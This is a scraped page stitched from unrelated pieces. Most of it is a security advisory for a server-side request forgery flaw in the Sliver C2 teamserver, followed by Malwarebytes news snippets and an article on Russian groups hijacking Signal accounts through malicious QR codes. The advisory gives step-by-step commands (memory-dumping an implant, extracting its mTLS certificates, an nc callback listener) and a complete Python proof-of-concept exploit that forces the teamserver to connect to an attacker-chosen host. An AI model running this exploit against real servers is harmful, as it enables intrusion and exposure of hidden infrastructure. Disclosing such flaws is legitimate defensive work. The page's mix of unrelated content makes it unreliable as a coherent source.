    ./sliver-server_linux
    

Generate binary

    generate --mtls 127.0.0.1:8443
    

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

    git clone https://github.com/ACE-Responder/RogueSliver.git
    pip3 install -r requirements.txt --break-system-packages
    python3 ExtractCerts.py implant.dmp
    

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

    nc -nvlp 1111
    

Run the poc (pasted at bottom of this file)

    python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
    python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
    

**Details**

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp\[envelope.ID\]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers\[envelope.Type\]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map\[uint32\]ServerHandler {
	return map\[uint32\]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session \== nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("\[DATA\] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID \== rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel \== nil && tunnelData.CreateReverse \== true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID \== tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}

The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it

func createReverseTunnelHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer \= new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, \_ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(\*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("\[portfwd\] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 \* time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[portfwd\] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers\[0\]
		n, err := io.Copy(tWriter, tunnel.Readers\[0\])
		\_ \= n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("\[tunnel\] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok \= tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[tunnel\] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("\[message just received\] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) \> 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     \[\]byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[shell\] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("\[tunnel\] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}

**Impact**

For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys  
For HTTP listeners, you will need to generate valid nonce  
Not sure about other transport types

**POC**

POC code, it is not cleaned up at all, please forgive me

#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver\_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json\_format
from rich import print
import random
import string

ssl\_ctx \= ssl.create\_default\_context()
ssl\_ctx.load\_cert\_chain(keyfile\='certs/client.key',certfile\='certs/client.crt')#,ca\_certs='sliver/ca.crt')
ssl\_ctx.load\_verify\_locations('certs/ca.crt')
ssl\_ctx.check\_hostname \= False
ssl\_ctx.verify\_mode \= ssl.CERT\_NONE

def generate\_random\_string(length\=8):
    \# Combine letters and digits
    characters \= string.ascii\_letters + string.digits
    \# Generate random string
    random\_string \= ''.join(random.choice(characters) for \_ in range(length))
    return random\_string

def rand\_unicode(junk\_sz):
  junk \= ''.join(\[chr(random.randint(0,2047)) for x in range(junk\_sz)\]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk\_register(junk\_sz):
  n \= generate\_random\_string()
  register \= {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config\_id"+n,
        "PeerID": \-1,
        "Locale": "locale" + n
  }

  return register

def make\_ping\_env():
  reg \= sliver.Ping()
  json\_format.Parse(json.dumps({}),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Ping')
  envelope.Data \= reg.SerializeToString()

  return envelope

def make\_rt\_env():
    
    jdata \= {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv\[4\]),
                "Host": sys.argv\[3\],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg \= sliver.TunnelData()
    json\_format.Parse(json.dumps(jdata),reg)
    envelope \= sliver.Envelope()
    envelope.Type \= msgs.index('TunnelData')
    envelope.Data \= reg.SerializeToString()

    return envelope

def send\_envelope(envelope,ip,port):
  with socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) as s:
    with ssl\_ctx.wrap\_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data\_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data\_len \= struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 \= make\_rt\_env()
      data\_len3 \= struct.pack('I', len(envelope3.SerializeToString()) )

      print(data\_len)

      ssock.write(data\_len + envelope.SerializeToString()) 
      ssock.write(data\_len3 + envelope3.SerializeToString())



    
      \# No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data\_len3 + envelope3.SerializeToString())

def register\_session(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending session registration.')
  reg \= sliver.Register()
  json\_format.Parse(json.dumps(junk\_register(50)),reg)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('Register')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

def register\_beacon(ip,port):
  print('\[yellow\]\\\[i\]\[/yellow\] Sending beacon registration.')
  reg \= sliver.BeaconRegister()
  reg.ID \= str(uuid.uuid4())
  junk\_sz \= 50
  reg.Interval \= random.randint(0,10\*junk\_sz)
  reg.Jitter \= random.randint(0,10\*junk\_sz)
  reg.NextCheckin \= random.randint(0,10\*junk\_sz)
  json\_format.Parse(json.dumps(junk\_register(junk\_sz)),reg.Register)
  envelope \= sliver.Envelope()
  envelope.Type \= msgs.index('BeaconRegister')
  envelope.Data \= reg.SerializeToString()
  send\_envelope(envelope,ip,port)

description \= '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if \_\_name\_\_ \== '\_\_main\_\_':
  register\_session(sys.argv\[1\], int(sys.argv\[2\]))

**References**

*   GHSA-fh4v-v779-4g2w
*   BishopFox/sliver@0f340a2

GHSA-fh4v-v779-4g2w: SSRF in sliver teamserver

There is no excerpt because this is a protected post.

February 19, 2025 - Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

February 19, 2025 - Google is allowing its advertizing customers to fingerprint website visitors. Can you stop it?

February 19, 2025 - Info stealers are thriving on Mac, with one specific variant accounting for 70% of all info stealer detections at the end of 2024.

February 18, 2025 - A flea market buyer found medical information about hundreds of patients on second hand decommissioned hard drives.

February 17, 2025 - A list of topics we covered in the week of February 10 to February 16 of 2025

 Protected: zQA Content Editing Styles 

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn…

Is your Signal, WhatsApp, or Telegram account safe? Google warns of increasing attacks by Russian state-backed groups. Learn how they’re stealing messages and what you can do to defend yourself.

Russian state-backed actors are increasingly targeting secure messaging applications like Signal to intercept sensitive communications, reveals a recent report by Google’s Threat Intelligence Group. These groups, often aligned with Russian intelligence services, are focusing on compromising accounts used by individuals of interest, including military personnel, politicians, journalists, and activists. While the initial focus appears to be related to the conflict in Ukraine, researchers believe that these tactics will spread to other regions and threat actors.  

A primary method employed by these actors in this campaign involves exploiting the “linked devices” feature of Signal. By using phishing techniques, they trick users into scanning malicious QR codes, which then secretly link the victim’s account to a device controlled by the attacker. This allows the attacker to receive all messages in real-time, effectively eavesdropping on conversations without needing to compromise the entire device.

These malicious QR codes are often disguised as legitimate Signal resources, such as group invites, security alerts, or even device pairing instructions. In some cases, they are incorporated into phishing pages designed to mimic specialized applications, such as those used by the Ukrainian military.

The screenshot shows a Signal app phishing site and one of the malicious QR codes used in the attack (via Google).

In some cases, malicious QR codes are used in close-access scenarios, such as when Russian military forces capture devices on the battlefield.  This method lacks centralized monitoring and can go unnoticed for extended periods, which makes it hard to detect.

One group, identified as UNC5792 (also known as UAC-0195), has been observed modifying legitimate Signal group invite links. These altered links redirect victims to fake pages that initiate the unauthorized linking of their devices to the attacker’s control. The phishing pages are designed to closely resemble official Signal invites, making detection challenging. 

Another group, UNC4221 (UAC-0185), has targeted Ukrainian military personnel by embedding malicious QR codes within phishing sites that mimic artillery guidance applications. They have also used fake Signal security alerts to deceive victims. 

Beyond phishing, APT44 (Sandworm) utilizes malware and scripts to extract Signal messages from compromised Windows and Android devices. Their WAVESIGN script retrieves recent messages, while Infamous Chisel malware searches for Signal database files on Android devices.  

Other groups, like Turla and UNC1151, target the desktop application, using scripts and tools to copy and exfiltrate stored messages. UNC4221 has also used a JavaScript payload called PINPOINT to gather user information and geolocation data.

The popularity of secure messaging apps makes them prime targets for adversaries and other platforms, such as WhatsApp and Telegram, are also facing similar threats.

“The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term,” researchers warned.

Therefore, users are advised to stay cautious. It is important to use strong screen locks with complex passwords, keep operating systems and apps updated, and ensure Google Play Protect is enabled. Regularly auditing linked devices, exercising caution with QR codes and links, and enabling two-factor authentication are also recommended. iPhone users at high risk should consider enabling Lockdown Mode.

Tag

#windows